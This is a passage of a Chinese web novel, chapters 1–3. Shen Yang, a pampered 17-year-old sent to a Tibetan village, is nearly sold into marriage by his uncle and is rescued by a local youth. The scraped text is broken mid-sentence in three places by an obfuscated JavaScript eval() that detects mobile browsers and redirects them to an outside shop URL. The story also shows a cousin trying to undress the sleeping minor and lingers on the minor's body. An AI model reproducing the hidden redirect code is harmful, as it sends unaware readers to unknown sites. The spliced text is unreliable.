《老婆就是要富养呀!》 1. 第 1 章 2011年,盛夏。 因为地处西南高原,纵然海拔只有三千米,久塘县的夏天和闷热潮的蓉城截然不同。 这里的夏日可见度极高,一眼望去,高山巍峨,水色如碧,草甸蜿蜒,空气干净的仿佛被洗过一般。 这是沈泱来到久塘的第六天。 前几天因为高原反应,他在他大伯家躺了整整四天。 今天终于适应了这里的气候,早饭时间后,沈泱便戴着一顶帽檐很大的草帽,穿着长袖长裤出了门。 身后是金灿灿的阳光,巍峨茂盛的一棵不知名大树挡住了倾撒下来的阳光。 沈泱摘掉了草帽,屁股底下垫了好几张手帕纸,他脱了鞋,在清澈见底的潭水里泡脚。 一点点微凉。 沈泱眯着眼睛,看着不远处的雪山,向来心大的少年忽然有一点感慨世事无常了。 半个月前,他还是蓉城里养尊处优的小少爷,住的是三层别墅,家里有好几个阿姨照顾,上下学还都有司机接送。 但短短的半个月,他爸公司破产后,带着剩下的存款消失的无影无踪。 一周前,后妈确定他爸是带着钱和小三出国后,毫不犹豫地将他扔到了川西高原,他大伯家。 王女士已经很够意思了,最起码在她离开蓉城的时候,还给自己找了个落脚点。 沈泱心情复杂地想着。 不远处的翠绿草地上,有两只白色的蝴蝶在飞舞。 沈泱的黑色运动裤挽到膝盖的位置,小腿雪白,隐约可以看见一些细小柔软的绒毛。 他眼神专注地盯着两只距离他越来越近的白色蝴蝶。 身后传来了窸窣的动静声,像是什么东西的爪垫踩在茂盛的草地里。 沈延浑身的汗毛登时竖了起来,像是被什么危险的东西盯住了。 沈泱绷紧身体,迅速地转过头。 先松了一口气,是一个人,不是什么危险的野兽。 他逆着光,眉眼鼻唇在沈泱的视网膜里只有一个看不清楚的轮廓。 但对方的身形极其高大,沈泱赤足坐在潭水边,要仰着高高的头,皙白的脖颈无遮无掩地抬起来,彻底暴露在海拔三千米的高原上,才能看到对方的脸部轮廓。 一朵云挡住了金灿灿的太阳。 少年的五官彻底映入沈泱的瞳仁里。 沈泱的奶奶是藏族人,但爷爷是蓉城人,他爸爸又生在平原,长在平原,是很白面书生的秀气长相。 而沈泱的生母年轻的时候是一个舞蹈演员,高挑白皙,父母都白,沈泱的皮肤更是天生就白,长到十七岁,因为一直都是锦衣玉食,一身的细皮嫩肉恍若霜雪。 久塘县回宁村的海拔在整个川西来说,不算高,但这里的藏族羌族汉族肤色都比较深了。 对方肤色是常见的偏黑一点的深麦色,眉毛很浓,一双眼睛漆黑狭长,直勾勾地盯着他。 像一头野生牦牛。 野生牦牛独自生活在气候恶劣的高原地区,它们体型魁梧健硕,性格凶猛而警觉,具有强烈的领地意识和侵略性,是当之无愧的高原恶霸。 沈泱再一细看,对方的眼帘微微垂了下来,脊背略弯,刚刚的侵略性和危险性仿佛是他的错觉。 他明明是在草甸上吃草的家养牦牛,纵然体型容易让人望而生畏,但性格温顺老实,就算有人拿着马鞭甩在它的屁股上,它也只会委屈的哞哞叫,而不会反抗主人一下。 沈泱转过头,右脚轻荡了一下潭水,水面涟漪轻起,他藏在水下的两只脚随着水面的晃荡摆动。 身后的男人没有离开。 沈延皱了下眉,但还是大方地挪了挪自己的屁股,给对方留出一个泡脚的位置。 身后的男人动了,脚步声由远及近。 沈泱余光扫过对方,先瞥见对方落在草地上的一双脚,穿着破破烂烂的塑料拖鞋,脚掌很大,几乎要把凉鞋撑满了。 不过因为对方的脚也不算白,倒是不好辨认他的脚到底干不干净。 沈泱决定结束泡脚这项活动。 他还没有起身,身旁的藏族汉子动了。 对方蹲下身,挺拔精阔的身体变成规规矩矩但不容忽视地硕大一块,他弯腰用粗糙干燥的大手捧了两捧水,在身旁的草地上简单地洗了洗手后,再次用关节粗大的手掌舀了两捧水,低头大口吮完。 粗糙的大掌拨过翠绿澈然的水面,白的发光的一双脚由于水波的晃动,好像也在狭长的眼睛里诱人的晃动。 沈泱目瞪口呆。 藏族人这么不讲究吗? 没等他有更进一步的反应,“沈泱”“沈泱”“沈泱”熟悉的声音在不远处响起,且越来越近。 他翻了个白眼,没好气地道:“我没死。” 不多时,沈家发找到了在潭水般泡脚的沈泱,他抱怨了一句,“你一个人跑什么跑,我都找了你好久。” “我又没让你找我。”沈泱的脾气不算好,从他出生开始,沈父的公司就一直走上坡路,再加上他长的好看,周围的人都是捧着他的,养成了有点骄纵自我的小少爷脾气。 “你……”沈家发是沈泱大伯的第二个儿子,也是被从小宠大的,刚要怼他几句,沈家发瞧见沈泱暴露在高原潭水里笔直白皙的一双腿,他眼神不由得直了直。 像是上山挖松茸的时候被凶狠暴戾的野兽盯住了,手臂和后脖颈密密麻麻起了好几片的鸡皮疙瘩。 沈家发抬起头,只看见站在沈泱右侧的江措顿珠。 目光四下一绕,没有看见其他的大型动物,沈家发搓了搓凉飕飕的胳膊,催促道:“沈泱,你玩够了吗?和我回去吧,我阿妈在做午饭了,今中午是米饭。” 早上是糌粑和油茶,沈泱吃了一口便吐了出来。 双脚也感受到了寒意,沈泱慢吞吞地应了声好。 他从黑色运动裤的口袋里抽出憋下去的口袋纸,抽出两张纸。 两只脚从探出水面的瞬间,大颗大颗清透的水珠沿着他雪白的脚背,缓缓滴落在清澈的水面上,还剩下好几颗水珠,挂在纤细的趾骨上。 沈泱低着头,捏着两张纸巾慢条斯理地擦干净了脚上的水珠。 拿过一旁的鞋袜,穿好。 他弯腰打算捡起刚刚被他坐在屁股底下的几张纸巾时,一只常年劳作的粗糙大手先一步捡起了地上的几张纸巾。 “走了,沈泱。”沈家发叫他。 沈泱和沈家发一起离开了,走出潭水大概两三百米后,沈家发打听道:“你刚刚怎么和江措在一起?” “江措?”沈泱问,“刚刚我旁边的那个男生?” “对,你离他远点。”沈家发朝身后看了一眼,确定对方听不到他和沈泱之间的谈话后,沈家发还是压低了声音,“他爸爸是杀人犯,前几年 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16976508|193520||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和人打架直接用刀捅死了两个人,还被判死刑了呢!” “那他妈妈呢?” “他妈妈在他六岁的时候,就和别的男人跑了。”沈家发说,“反正你离他远一点,他和正常人不太一样,去年,你知道吗?有一头牦牛疯了要攻击人,我爸他们去拿木仓,结果江措顿珠竟然一拳给砸晕了!!” “还有春天的时候,他不知道怎么得罪了校外的几个混混,竟然被人来找麻烦,结果三打一,你猜怎么着,江措毫发无伤,人家三个进医院了。” “他还在读书吗?” “对啊,和你同级,下个月就读高三了,你后妈不是把你的学籍也转过来了吗?到时候我们都是校友。” “你得记住,别得罪他。”沈家发打量了一下沈泱的小身板,叹气道,“你这样的,一拳都不够人家揍的。” 沈泱不在意地懒洋洋地嗯了一声,又感觉有什么玩意儿在盯着自己。 沈泱扭过头,什么都没有看见,只看见一头温顺的,老老实实在草甸上吃草的牦牛。 ** 沈泱在沈家吃午饭,沈大伯和沈泱的父亲同母异父。 十几年前,得知蓉城的弟弟发达了,也去投奔过沈父。 刚开始他们一家人都在沈父的公司里工作,后来因为收回扣太过分了,沈大伯又得罪了住建局局长的儿子,沈泱的爸爸就让他们一家回了久塘。 前几天,沈泱躺在房间里,头晕脑胀恶心,都是沈家发端了清粥送给他。 今天早上一起吃饭,他们煮的是糌粑和油茶。 糌粑又干又黏,油茶又腥又腻,沈泱当场就跑到垃圾桶那里吐了出来。 沈大伯家的午餐虽然不能和沈泱在蓉城的时候相提并论,但也算是当地的富户了,四个满满当当的菜,还有一个不知名的汤。 吃饭的人很多,沈大伯有三子一女,大儿子结婚了还有一个儿子,不过大儿子在县城里看店,不在家,家里现在一共有八口人一起吃饭。 沈泱用纸巾又擦了两遍木筷子,端起碗,还没有吃饭,沈家发的弟弟沈家旺拿着碗,对着桌子咳嗽了几声,沈泱似乎听见了有浓痰在他喉咙里滚动。 沈泱咬着唇,用力地放下碗。 “怎么了?”沈家发大口往嘴里塞肉的同时,问了一句旁边的人。 “都对着饭菜咳嗽了,我还怎么吃啊?”沈泱站了起来,语气不爽地说。 他是真被沈家旺恶心的一点胃口都没了,怎么可以对着饭菜咳嗽呢? 还有沈家发,包着好大一口饭菜讲话,他都看到饭菜从他嘴巴里喷出来了。 沈家发转过头冲沈泱的背影嚷了一句,“你真不吃啊?你不饿吗?” “不饿。”沈泱头也不回。 他踏出正房门口的同时,听见他大伯母不加掩饰地嫌弃,“他家都破产了,还以为自己是什么金贵的小少爷啊?谁供着他啊?对着饭菜咳嗽了两下就不吃了?什么破毛病啊?” 下午四点,一天都没吃一口东西的沈泱有点饿了。 回宁村没有超市,最近的超市在镇子上,需要步行四十分钟下山,山路崎岖陡峭。 沈家老大的儿子今年两岁,他的妻子在家带小孩,买了很多旺旺仙贝给儿子磨牙吃。 她给她两岁儿子拿饼干的时候,沈泱走过去,睁大一双葡萄眼,看起来是很理直气壮地说,“我也要几个。” 2. 第 2 章 当了妈妈的女孩依旧很年轻,她愣了一下,没有多说什么,递给他好几包旺旺仙贝。 翌日,早餐又是酥油茶和糌粑。 沈泱一口没吃。 早饭之后,沈家人都各干各的事,离开了家。 沈泱拿出自己的手机,还是没有信号,他决定找一个地势开阔的地方,尝试一下能不能连上网。 两条腿都走酸了,沈泱来到了一个不知名的地方,一直加载中的页面终于弹了出来。 在他来到西南高原的这几天,穆宁然给他发了几十条□□消息。 沈泱一条一条看完,回复穆宁然的消息。 幻梦晨主:【放心,我在我大伯家,过得很好】 雷霆炽焰王:【那你怎么这么久都不回我消息?】 幻梦晨主:【这地方没网】 雷霆炽焰王:【你大伯的老家在哪里?】 幻梦晨主:【在川西久塘】 消息点击发送,就一直在转圈圈。 沈泱踮起脚,手机举过头顶,等了好一会儿,胳膊都举酸了,他也没有把消息发送出去。 比起繁华喧嚣的蓉城,久塘虽然很漂亮澄澈,但太偏僻了,沈泱在蓉城就没遇到过没网的情况!! 懒得折腾了,他下山往寨子里走。 刚走下山,距离他大伯家还有很远一截距离时,沈泱喉结不受控往下一滚,绷紧了身体。 不远处,一条皮毛在阳光下,呈现红棕色的大狗虎视眈眈地盯着他,喉咙里发出威胁的轻呼声。 沈泱一动不敢动。 野狗的身体微微压低,脊背缓慢的往高里抬,是一个狩猎的姿势。 忽然,他朝沈泱扑了过去。 沈泱转身就跑,跑了两步,看到一个院子,他不假思索地冲进去,“嘭”地一声,心惊肉跳地甩上有些破烂的木门。 人类的脚步声在他身后响起。 沈泱紧紧地关上门,嗓音颤抖,“外面有狗。” 江措腿长,几个大步走到了沈泱身旁。 沈泱戴着一顶遮阳的草帽,细嫩的脸庞上有着明显的恐慌,江措微不可查地拧了拧眉:“你去里面,我看看。” 沈泱立刻退后到了墙角。 江措用关节粗大的手打开破破烂烂的木门,走了出去。 一分钟之后,他回到院子,没有关上院门,他对沈泱说道:“那条野狗已经走了。” 他的嗓音有着和结实身体相仿的低哑磁性,只是他这么大的块头,两条胳膊规规矩矩地垂在大腿两侧,又低着头冲沈泱讲话,显得很没有攻击性和侵略性。 “野狗就是这样,欺软怕硬,如果你害怕它,它就想要攻击你,如果你表现的凶狠一些,它就不敢靠近你。” 沈泱侧着身体,像螃蟹一样横走了几步。 目光落在江措家院门的外面。 没有看见那条野狗的身影了。 他拍了拍心有余悸的胸口,说了句谢谢,又自来熟地问道,“我渴了,你家有水吗?我想喝水。” 不是有礼貌的措辞,因为谢谢没有说得很感激,说我渴了的时候也不说可以给我喝水吗的祈使句,而是我想喝水的要求。 但他讲完这话的时候,无意识地舔了舔干燥的唇瓣,他唇色本来就是艳红色,用舌头舔了舔后,湿漉漉的,泛着一层潋滟的水光。 明晃晃的日光从头顶洒下来,江措的睫毛厚而密,阳光没办法照进他狭长的眼底,他低声说:“我去给你拿。” 江措转身,进门的时候,因为个头太高了,快顶到土坯房的房顶了,他低了下头,才走了进去。 沈泱眼神在江措家的院子转了一圈,看到门外有一把小木凳,他有些累了,走了过去。 先从裤兜里抽出几张纸巾,他的口袋纸已经用光了,是在大伯家的抽纸里抽出的几张纸巾,质地不够柔软,但凑合能用。 他两只手指捏着纸巾,擦了擦江措家的木凳子,没什么灰。 屁股落在上面。 江措用搪瓷杯装了一杯水,弯腰走出门槛。 沈泱摘了草帽,听见动静,他扭过脸,一张雪白细腻的、不应该出现在偏僻落后的藏族山寨的漂亮脸蛋的无遮无掩的落入江措顿珠看起来很平静的瞳仁里。 不知道是太阳晒的,还是因为刚刚的剧烈运动,沈泱的脸颊泛着桃粉色,像是超市里售卖的最大最甜的苹果。 心会痒,想用最尖利的牙齿,狠狠地咬一口。 江措垂着眼,将搪瓷水杯递给沈泱。 沈泱接过水杯,搪瓷水杯的外表脱了漆,但内里是白色的,肉眼可见的干净。 嘴唇即将碰触到杯口的时候,沈泱将水杯从唇边拿走,疑问道:“你这水哪里来的?” “是那曲家后面那口井的水。”男人的嗓音低而微哑。 沈泱不知道那曲家是哪一家,但井水,应该…… “那口井的井水没人泡脚吧?”沈泱蹙着两条好看的眉,鼻子都皱了起来,嫌弃的不加掩饰。 因为沈泱坐在小板凳上,江措要低很多的头能和他讲话,“那口井很深,没办法泡脚。” 沈泱放心了,绯红的唇瓣贴上搪瓷水杯的边沿,不薄不厚的下唇包裹着杯沿,微微翘起的上唇含住杯口,透明液体滑过他的牙齿,流入他喉管,镶嵌在纤细脖颈上的喉结微微滚动着。 沈泱喝掉了三分之一的水。 藏族少年很实诚,容量有七百五十毫升的搪瓷水杯,他灌了接近满杯水。 江措接过搪瓷水杯,粗粝的手指不小心碰到了沈泱的手指。 沈泱没注意,他鼻子用力地嗅了两下,盯着他还没进去过的房间,“你在煮东西吗?” “我在烤土豆。” 江措捏着水杯,在沈泱手里,显得有些笨拙憨大的水杯,在他的大手里却显得有点小巧玲珑。 江措走了进去。 沈泱也站了起来,理所当然地走了进去。 沈泱没进过这么破旧的房子,过去的十七年,他住别墅开豪车,寒暑假去各地度假,就算被扔到了偏僻的川西高原。 沈大伯一家不穷。 他们的房子是寨子里最漂亮的房子,两层楼的石木架构,外墙是漂亮的赭红色和白色交错,屋顶下方的一米墙面绘制着繁杂的经文,窗户都是精雕的木花和卷草纹。 卧室和客厅里的梁柱雕花描金,有红色的地板和花纹繁复的地毯,是沈泱可以接受的居住环境。 泥土房的采光不是特别好,南墙有一扇窗户,但从窗户上的木头可以看得出来,年代久远。 地面竟然也是泥巴地面,没有铺水泥,再找平也显得凹凸不平,门口进来有一张凉板床,后面的墙壁贴着一些新闻报纸,房间面积不小。 他家的锅在正房正中间。 两根铁链悬起一个铁制平底锅,下面烧火,切成厚片的土豆微微卷边,冒出熟透了的香味。 “你要吃吗?”江措见沈泱的眼神直勾勾地落在烤土豆上,非常平静地问了一句。 昨天晚上和今天早上,他大伯家的饭菜都是糌粑和酥油茶,沈泱毫不犹豫地说:“我要吃。”也没有任何需要客气,或者不好意思的态度。 江措起身,又去多拿了一副碗筷。 沈泱接过碗筷,没看江措,眼睛盯着熟透的土豆,说了句谢谢。 他掏出纸巾,又擦了擦江措看起来已经很干净的碗筷了,见江措还没有动筷子,沈泱转过脸,有点迟疑地道,“是可以吃了吧?” 微红的火光映在少年深麦色的脸庞上,他嗓音沉哑地从喉咙里滚出来,“可以吃了。” 他先夹了一片烤土豆。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16976509|193520||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 沈泱紧随其后。 刚烤熟的土豆有点烫,沈泱没有闻到食物的香气,没有被人邀请一起分享他的早午餐时,沈泱没觉得太饿,好吃的食物都到嘴边了,沈泱他觉得饿了。 迫不及待张开嘴,咬了一口滚烫香甜的烤土豆,又觉得有点烫,不由得张开嘴唇,露出粉粉的舌头,吐着热气,发出了呼呼的声音。 他又这么白,很像一只漂亮娇贵的波斯猫。 沈泱吃掉了一大半的烤土豆,但江措也并没有因此吃不饱,他又去厨房淘洗了几个大土豆,切成厚片后,放到铁锅上烤。 吃完早午餐,江措麻利地打扫干净用具和碗筷,一般高大结实的人做起精细的家务活会显得有些笨拙,江措不是这种人。 他动作麻利干脆,充满了劳作感的粗糙大手是最灵活的工具,几下就将东西收拾干净,归纳整齐。 门外似乎传来了动静声,有一个女人用藏语叫着江措顿珠。 沈泱的奶奶会说藏语,所以沈泱尽管不会说藏语,但听懂藏语没有任何问题。 皮肤黝黑,穿着民族服装的中年女人出现在门口,看见江措后,女人眼睛一亮,直白地说:“江措,给我两千块钱。” 她应该是从不算近的地方走过来的,喘着气说:“我家卓玛生病了,要去医院。” 江措余光扫过站在一旁的沈泱,刚刚吃饭的时候他挽起了一截衣袖,露出的小臂不仅在土坯房里有种格格不入的润白。 也很瘦,腕骨直直地凸出来。 江措对女人说,语气平铺直叙,“我没钱。” 女人一愕,急切地说:“你怎么没有钱!” 她又抱怨道,像是十七岁的江措的确亏欠她家很多,“要不是你爸捅死了我家洛桑,我们家现在也不至于两千块都没有,你必须给我钱!” 江措头发很短,薄薄的眼皮垂下来,挡住浅褐色瞳孔里的幽光,他盯着矮小的女人。 长相有点凶悍。 女人心脏突突地一跳。 忽然,江措转过身动了起来,女人松了一口气,她就知道没钱找江措要准没错,江措虽然人高马大,冷漠寡言,但是木讷实在,和他爹为非作歹的性格截然不同。 这两年她但凡问他要钱,他没有不给的,何况现在是挖松茸的季节,他怎么可能没钱? 江措走到了北墙放置厨具的地方,手指按在刀柄上,拿起了冷光闪闪的菜刀。 江措前几日在磨过刀,刀刃锋利,泛着银光,江措粗糙的大手捏着一把森寒的菜刀朝女人走了过来,脸上没有一点表情,狭长的眼睛垂着。 江措越来越近,女人吞咽了一下口水,转过身害怕地跑了。 娘的,老鼠的儿子会打洞,杀人犯的儿子说不准也会杀人! “你拿刀干什么?”沈泱害怕地往门口退了两步。 江措把刀刃对准了自己,“让她杀了我。” 沈泱:“???” 江措又很冷静地道,“我知道她不敢。” 你倒是很聪明啊,沈泱心想。 江措把菜刀放回厨案上,他没有拿任何危险物品,虽然长得很高很结实,但和沈泱讲话的时候,弯着腰低着头,沈泱没觉得他有很强的攻击性和侵略性,像是驯养的很好的家养牦牛。 江措说:“我爸两年前和她大儿子打架,一刀捅死了他,这两年她经常问我要钱,我已经给了她很多钱了。” “我爸是个赌鬼,没有给我留下任何财产,我还给他还了一万多的赌债。” “她的大儿子也不是什么好人,坐过几次牢,他活着的时候经常有人去他们家要债。” 江措看着他,像是对沈泱承诺什么,又像只是因为没有什么亲近的人,所以对沈泱这个恰好出现在这里的人讲一讲他未来的打算,“以后我不会给她一分钱了。” 3. 第 3 章 沈泱哦了一声,他娇气自我,有一点小脾气,但性格不恶劣,很多时候也是很有同理心的人,大力地嗯了一声后,非常赞同地说,“别给了,本来也不应该你给。” “我要回去了。”沈泱拿起他最新款的触屏手机看时间,他竟然在江措家待了整整两个小时! “我送你。”江措跟在沈泱后面出了门。 “不用了,我自己回去就好。” 江措关上门,往外看了一眼,看似很随意地讲这样的话,“不知道刚刚那只野狗走远了吗?” 沈泱浑身一激灵,毫不迟疑地改了主意,“那还是你送我回去吧。” “我叫沈泱,沈是沈万三的沈,泱是泱泱华夏的泱。”沈泱戴上草帽,袖子挽下来,和江措顿珠一起离开他家的院子。 江措嗯了一声,又转过脸盯着沈泱,“我叫江措顿珠,江措是大海的意思,顿珠是寓意有所成就的意思。” 他的普通话不很标准,带着点久塘县的口音,嗓音却很好听,是那种荷尔蒙很浓烈的声音,讲话的时候,仿佛有一种低颤的频率在耳膜旁震动,沈泱的耳朵有点麻麻的。 “我知道了,沈家发昨天给我说过你的名字。” 两个人一路上没有说很多的话,但或许是有轮廓高大震慑性很强的江措护送他回家,沈泱没有遇见任何野狗。 江措把沈泱送到了他大伯家的门口,院墙的大门大开着,江措看到沈军安坐在铺了石砖的院坝里,和一个他认识的中年人讲话。 江措大拇指碾过食指,敛下目光。 沈泱没太关注出现在院子里的客人,他对江措说,“我到了,谢谢你。” “我回去了。” “嗯。” 江措离开了沈军安家,沈泱走进了沈军安家,往院子里走了几步,沈泱听到他大伯用藏语对中年男人说,“这个就是我侄子沈泱了。” 又叫了一声沈泱,“沈泱,来见一下你扎西叔叔。” 回宁村基本是藏民,可川西这边的藏民和西藏那边截然不同,这边汉化已经很明显了,这个村子里,取汉名的也不仅仅是沈大伯一家,有时候称呼也会随着汉族。 沈泱刚刚吃饱了,现在心情还算不错,何况他也有一点清楚,现在不是在蓉城了,他是一个寄人篱下的人。 沈泱走过去,叫了一句扎西叔叔。 扎西的身形魁梧,满身横肉,他对沈军安用藏语说,“他有点瘦啊。” “十七岁嘛,还在长个子啦。” 扎西的旁边还坐了一个女孩,大概二三十岁的样子,扎西扭过头看向女孩,女孩多看了沈泱几眼。 中午是酥油茶糌粑和烤牛肉,酥油茶和糌粑沈泱避之不及,烤牛肉的味道却还不错,沈泱吃了好几块。 沈泱晚上和沈家发睡一间卧室。 卧室的面积很大,有两张床,沈泱睡在大一点的那张床上,沈家发睡在另外那张床上,隔着接近两米的距离。 回宁村信号不好,沈家发今天去镇子上租了一本小说,躲在被窝里偷偷看小说。 晚上十一点,他有点困了,掀开被子去上了个厕所,摸索着回到了房间。 今夜月光皎洁,从房间的玻璃窗无所顾忌地照射进来。 沈泱睡得有点热,一条腿伸出了被子里,裤腿卷至大腿,小腿散发着珍珠一般的莹光。 沈家发又想到他在潭水里看到的那双腿和脚,不自觉咽了两下喉结,他蹑手蹑脚走过去。 沈泱睡得很熟,嘴巴一张一张吐着气,银白色的月光下,那张脸漂亮的不像是凡人。 真的好白啊,比女人都白。 他真的是男人吗? 沈家发心跳快了几拍,他俯下身,轻手轻脚地掀开搭在沈泱小腹上的棉被。 他的手指甲还带没洗干净的泥巴,心如擂鼓地捏住沈泱的裤腰。 准备把裤子扯下去。 被子被人掀开了,沈泱冷地蹙了蹙眉,手指无意识地摩挲着,寻找着自己的被子。 突然,他像握住了什么东西。 沈泱猛地睁开眼睛,明亮的月色下,一双不干净的手捏着自己的裤腰,在往下脱自己的裤子。 “沈家发,你他妈是个变态!”沈泱气上涌,激动抬起脚,朝他的腰腹狠狠地踹了一脚,又拿起自己搁在枕头上的手机,不管不顾地朝沈家发的脸砸了过去。 额头被重物袭击,沈家发疼的脸色有点扭曲,又见沈泱还在激动地拿枕头扔他,沈家发连忙道:“什么变态,我只是想看看你是不是个男的,你马上就要卖给别人做女婿了,要是裤子一脱,你是个女的,那我们怎么办?” 沈泱拿起手电筒准备砸沈家发,听到这句话,他愣在原地,愕然道:“你说什么?” 沈家发下意识觉得他半夜脱沈泱裤子的事必须找一个合理的理由,“就是今天的扎西次仁和他女儿,那就是我爸给你找的婆家,对,你入赘,你知道吗?央金卓玛精神有点问题,她上个老公还被她砍掉了两条胳膊,你如果是个女的,去了说不准两条胳膊两条腿都会被她砍掉,我还不是为你好!!!” 夜色很深,四周一片窒息的宁静,屋子的吵嚷声惊动了隔壁的沈大伯和沈大妈。 两个人披着衣服走过来,沈大妈没好气道,“大半夜的闹什么闹?还睡不睡觉了?沈泱,这里不是蓉城!” 沈泱眼睛直勾勾地盯着沈大伯,沈大伯虽然这几年常居久塘,但每年都要去蓉城,他对沈泱很好,会带一些当地的小礼物,经常夸赞他比几个堂兄都机灵聪明,是个好福气的人,又说大伯很喜欢他。 “大伯,你要把我卖给别人做女婿吗?” 沈大伯叹了口气说道:“沈泱,你也看到了,大伯家里这么多人吃饭,大伯对你也是有心无力,扎西家的条件很好,就一个独女,他也有本事,你去他们家是去……” “要去你去,我才不去!”沈泱气冲冲地说,穿上鞋就冲了出去。 沈大伯见状,抬了下眼,命令道:“还不把他拦下来。” 沈大伯的大儿子沈家强现在在家,他生得五大三粗,闻言立刻拦住沈泱的去路,沈大伯又吩咐沈母,“去给扎西打电话,让他明天一早就带着钱把他的女婿领走。” 沈母眉开眼笑地答应了。 “你放开我,沈家强,你放开我!”沈泱见沈家强又命令沈家发去拿绳子绑着他,沈泱低下头,在沈家强的胳膊上凶神恶煞地咬了一口,沈家强吃疼,用力地推了一把沈泱,沈泱尖叫一声救命啊,要杀人了。 沈家强又着急慌忙去捂沈泱的嘴巴。 就在这时,沈家客厅的门被人撬开了,房门被推开,江措出现在沈家客厅。 “江措,大半夜的,你来我家做什么?”沈大伯挡住江措的视线。 沈泱的嘴巴被沈家强捂住了,不能发出声音,他恶狠狠地咬了一口沈家强的掌心,沈家强松开他,沈泱趁机大喊,“江措,救命,他们要把我卖给精神病做老公!” 江措一把推开挡在他面前的沈军安,目光落在衣裳凌乱的沈泱身上,黑T睡衣皱巴巴套在他身上,露出一侧雪白圆润的肩膀。 睡裤的一截裤腿也挽了起来,雪白小腿上一条伤痕红的灼目。 “你受伤了?”江措眉头不自觉地拧了一下。 沈泱跟着江措的目光看过来,一下子看见了自己鲜血淋漓的小腿,他本来就是娇气怕疼的性格,脸色都扭曲了,乌黑的眼眶里立刻含了两包眼泪,“难怪我觉得疼死我了!” 江措走过去,打横抱起了沈泱,抬脚往外走。 沈大伯和沈家强连忙拦住江措的去路。 沈大伯说:“江措,你把沈泱放下来。” 沈泱还在惊讶之中,他怎么就忽然被人抱了起来,还是公主抱? 他的身形和江措比,是有点纤细和柔弱,但沈泱在蓉城读书的时候个头不算矮,他有一米七六,在班里都是中等偏上的个头了。 见沈大伯让江措放他下来,沈泱立刻搂紧了江措的脖子,冲沈大伯嚷道:“我要报警,告你们人口买卖!我才十七岁,根本就没办法结婚!!” 沈大伯根本不搭理色厉内荏的沈泱,只盯着江措。 江措垂下眼,扔出两个冰冷的字:“让开。” 回宁村的人体格都偏壮硕,沈大伯以前去蓉城的时候,许多人都要仰头望着他,在村子里更不是瘦小干枯的代名词,他长的很高,体型壮硕。 江措却比他还要半个头,少年人的身体不够结实横阔,但足够挺拔颀长。 他穿着廉价的,不太合身的一件黑色运动外套,应该是几年前的衣服了,袖口很短,手臂上硬邦邦的肌肉顺着袖口鼓出来,线条凌厉。 长而密的眼睫微微下垂着,眼睛狭长凌厉,勾着眼,有点像高原上的野生牦牛,危险而紧绷。 “还不让开吗?”江措蹙了下眉,不耐烦显而易见。 沈大伯喉头一滚,猛地想到了去年,村子里的一头牦牛发了疯,大家只能拿□□制服它,但在他冲向那曲家的小孩之前,江措一拳打过去,竟然让发疯的牦牛倒在了地上。 江措的爸爸丹增次仁,虽然不学无术,为非作歹,但满身横肉,胳膊粗的能抵旁人小腿,拿过久塘县摔跤大赛的冠军,力气很大,江措十三岁时就能把他体重两百斤的爸爸撂翻在地上不要命的揍。 沈大伯衡量了一下双方的实力差距,不甘不愿地让开了。 江措抱着受伤的沈泱离开了,他们村子没有大夫,隔壁村子有一个医生,距离回宁村不是很远。 房间门被拍得哐当响,睡不着的罗布占堆拉开灯,烦躁地打开门,“什么事?” 江措说道:“阿古,有人受伤了。”阿古是发的藏族音,类似于汉语里的叔叔。 听说是有人受伤了,罗布占堆赶紧打开房门。 江措把沈泱放在木制的椅子上,罗布占堆问他是哪里受伤了,沈泱用两只白白嫩嫩的手指捏起裤腿,指着小腿说,“这里。” 罗布占堆是个瘦弱的藏族人,他用沾了水的棉签擦拭掉沈泱左小腿上干涸的血液,露出他伤口的本来面目。 一条指甲长的,不太严重的划伤。 只是沈泱太白了,罗布占堆活了五十多岁,也没有见过这么白的人,但他的白不是不健康的苍白,就是一种矜贵细嫩的莹白,所以一点血液在雪白的小腿上,显得有点严重。 他看向江措顿珠,打趣道:“这点伤要是在你的身上,我怕是都找不到位 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16976510|193520||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 置。” 沈泱并不觉得自己的伤口很轻微,他板着小脸,严肃地讲道:“可是我觉得我很疼。” “太娇气了呗。”罗布占堆不在意地说,“要开碘伏吗?别浪费几块钱了,过两天就没事了。” “江措,我的小腿很疼的呀。”沈泱扭过脸,对江措蹙着眉讲道。 “你再给他看看。”江措看向罗布占堆。 罗布占堆无奈地叹了口气,在沈泱的小腿前蹲下,再次给他抹了一道碘伏,顺便聊了句天,“你就是隔壁村沈军安的侄子吧,这几天都说隔壁村来了个白雪公主……” 沈泱打断他,脸上带着显而易见的愤怒,“沈军安不是我的大伯了。” 深更半夜,江措抱着受了不是很严重伤的沈泱,沈泱还穿着睡衣睡裤,头顶柔软的头发也不是很整齐,是略微显得有点狼狈地出现在他的简陋诊所。 